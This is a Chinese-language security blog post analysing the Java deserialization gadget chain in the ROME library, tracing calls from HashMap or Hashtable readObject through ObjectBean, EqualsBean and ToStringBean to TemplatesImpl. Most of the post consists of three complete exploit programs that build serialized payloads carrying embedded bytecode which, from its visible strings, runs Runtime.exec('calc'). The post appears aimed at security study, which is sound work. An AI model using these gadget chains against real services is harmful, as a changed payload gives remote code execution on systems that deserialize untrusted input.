Java反序列化之Rome

Rome简介

ROME是一个兼容多种格式的feeds解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象

分析

先看几个需要用到的类

ObjectBean

com.sun.syndication.feed.impl.ObjectBean 是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。

ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals、toString、clone 以及 hashCode 方法。

以上从大师傅文章中摘抄

看一下ObjectBean的源码,可以看到有一个很眼熟的方法

public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

在CC链中,我们就是通过HashMapreadObject方法调用hashCode方法,这也是rome链的触发方式。在hashCode方法中,调用了_equalsBean属性的beanHashCode方法,,在定义中可以看到_equalsBean属性是EqualsBean类型的,跟进EqualsBean#beanHashCode

public int beanHashCode() {
        return this._obj.toString().hashCode();
}

调用了_obj属性的toString方法,这里可以调用到ObjectBeantoString方法

public String toString() {
        return this._toStringBean.toString();
    }

然后又会调用到ToStringBeantoString

ToStringBean

该类提供了两个toString方法

public String toString() {
    ......
    String prefix;
    if (tsInfo == null) {
        String className = this.obj.getClass().getName();
        prefix = className.substring(className.lastIndexOf(".") + 1);
    } else {
        prefix = tsInfo[0];
        tsInfo[1] = prefix;
    }

    return this.toString(prefix);
}

一个无参方法,用于获取调用链中上一个类的类名或者this.obj的类名。然后调用有参的toString方法

private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

该方法中调用了BeanIntrospector#getPropertyDescriptors来获取this._beanClass中所有的getter,然后一个个反射调用。调用getter,这不就跟fastjson反序列化有异曲同工之妙吗,我们就可以尝试利用这个点触发TemplatesImpl的利用链

exp构造

环境:

jdk 8u251

rome 1.0

调用链

HashMap#readObject->HashMap#hash->ObjectBean#hashCode->EqualsBean#beanHashCode->ObjectBean#toString->ToStringBean#toString->ToStringBean#toString->TemplatesImpl#getOutputProperties->.......

简单写一下exp

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class exp1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //构造TemplatesImpl对象
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造恶意的ObjectBean
        ObjectBean objectBean=new ObjectBean(Templates.class,templates);

        //定义一个无害的ObjectBean
        ObjectBean objectBean1=new ObjectBean(String.class,"novic4");

        ObjectBean objectBean2=new ObjectBean(ObjectBean.class,objectBean1);

        //构造HashMap
        HashMap<Object, Object> hashMap=new HashMap<>();
        hashMap.put(objectBean2,"test");


        //构造EqualsBean
        EqualsBean equalsBean=new EqualsBean(ObjectBean.class,objectBean);

        //反射修改无害ObjectBean
        Field equal=ObjectBean.class.getDeclaredField("_equalsBean");
        equal.setAccessible(true);
        equal.set(objectBean2,equalsBean);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(hashMap);
        oser.close();

        System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())).length());
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        Object newobj=unser.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220330153929256

扩展1

EqualsBean#beanHashCode中调用了toString方法,那么是不是可以直接将_obj设置为ToStringBean呢,测试一下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //构造TemplatesImpl对象
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");
        
        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj=EqualsBean.class.getDeclaredField("_obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(hashMap);
        oser.close();

        System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())).length());
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        Object newobj=unser.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220330211150652

结果显而易见是可行的

扩展2

仔细看一下EqualsBean的源码可以发现其beanEquals中也调用了BeanIntrospector.getPropertyDescriptors获取getter,也会通过反射调用

public boolean beanEquals(Object obj) {
        Object bean1 = this._obj;
        Object bean2 = obj;
        boolean eq;
        if (obj == null) {
            eq = false;
        } else if (bean1 == null && obj == null) {
            eq = true;
        } else if (bean1 != null && obj != null) {
            if (!this._beanClass.isInstance(obj)) {
                eq = false;
            } else {
                eq = true;

                try {
                    PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
                    if (pds != null) {
                        for(int i = 0; eq && i < pds.length; ++i) {
                            Method pReadMethod = pds[i].getReadMethod();
                            if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                                Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
                                Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
                                eq = this.doEquals(value1, value2);
                            }
                        }
                    }
                } catch (Exception var10) {
                    throw new RuntimeException("Could not execute equals()", var10);
                }
            }
        } else {
            eq = false;
        }

        return eq;
    }

这就代表也可以通过这个触发TemplatesImpl的利用链,而在equals方法中调用了beanEquals方法,所以只需要调用到equals方法即可

public boolean equals(Object obj) {
        return this.beanEquals(obj);
    }

回想一下CC7的利用链,在HashTablereconstitutionPut中调用了key.equals(key),不过其调用的是我们构造的HashMapequals方法,不过在调试过程中发现直接调用到了AbstractMapequals方法,看到有师傅说是HashMap的equals方法当中,当对象大于1时会转而调用类java.util.AbstractMap#equals

public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

重点看到这一行

if (!value.equals(m.get(key)))

这里调用了value的equals方法,也就是调用了第一个HashMap的value,m是第二个HashMap,需要跟第一个HashMap有一个共同的键名。只要我们将value设置为EqualsBean就可以进入EqualsBean#equals,但是要注意的是,这里的m.get(key)需要是一个TemplatesImpl对象,所以我们可以将两个HashMap的value顺序互换一下

这样整条链子也就说得通了,那么调用链就是

HashTable#readObject->HashTable#reconstitutionPut->AbstractMap#equals->EqualsBean#equals->EqualsBean#beanEquals->TemplatesImpl#getOutputProperties->.......

构造一下EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class exp2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //构造TemplatesImpl对象
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造EqualsBean对象
        EqualsBean equalsBean=new EqualsBean(String.class,"novic4");

        //构造HashTable
        HashMap map1=new HashMap();
        map1.put("novic4",equalsBean);
        map1.put("oPwJc4",templates);
        HashMap map2=new HashMap();
        map2.put("oPwJc4",equalsBean);
        map2.put("novic4",templates);

        Hashtable hashtable=new Hashtable();
        hashtable.put(map1,1);
        hashtable.put(map2,2);

        Field beanclass=EqualsBean.class.getDeclaredField("_beanClass");
        Field obj=EqualsBean.class.getDeclaredField("_obj");

        beanclass.setAccessible(true);
        obj.setAccessible(true);

        beanclass.set(equalsBean,Templates.class);
        obj.set(equalsBean,templates);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(hashtable);
        oser.close();

        System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())).length());
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        Object newobj=unser.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20220330220531604

扩展3

HashTablereconstitutionPut方法中可以看到这行代码

int hash = key.hashCode();

调用了hashCode,利用这里也是可以理出一条链子的,这里就不写exp了

参考文章

https://su18.org/post/ysoserial-su18-5/

http://www.bmth666.cn/bmth_blog/2022/03/11/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BGroovy%E3%80%81Rome%E9%93%BE/

本文链接:

http://novic4.cn/index.php/archives/19.html
1 + 9 =
快来做第一个评论的人吧~